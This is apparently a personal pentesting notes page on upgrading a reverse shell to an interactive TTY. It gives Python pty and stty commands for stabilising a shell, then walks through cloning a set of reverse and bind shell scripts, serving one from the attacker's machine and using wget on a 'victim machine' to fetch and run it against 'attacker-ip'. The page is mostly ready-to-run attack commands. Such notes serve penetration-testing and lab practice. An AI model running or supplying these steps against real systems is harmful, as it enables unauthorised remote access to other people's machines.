> For the complete documentation index, see [llms.txt](https://squid22.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://squid22.gitbook.io/notes/shells/interactive-tty-shell.md).

# Interactive TTY Shell

## Using Python

```bash
# In reverse shell 
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Attacker console
stty -a
stty raw -echo
fg

# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>  
```

## Using Python Script from GitHub

Link: <https://github.com/infodox/python-pty-shells>

```bash
# Getting the scripts
cd /opt
git clone https://github.com/infodox/python-pty-shells

# The scripts are:
 sctp_pty_backconnect.py
 sctp_pty_bind.py
 sctp_pty_shell_handler.py
 tcp_pty_backconnect.py
 tcp_pty_bind.py
 tcp_pty_shell_handler.py
 udp_pty_backconnect.py
 udp_pty_bind.py

# On the attacker machine
YOU MUST EDIT the tcp_pty_backconnect.py with your attacker IP and PORT for the revserse shell!  
Then copy the script to the victim box:
python3 -m http.server

# And start the listenner:
python  tcp_pty_shell_handler.py -b ip:port

# On the victim machine
wget http://attacker-ip:8000/tcp_pty_backconnect.py
python tcp_pty_backconnect.py

```

<br>
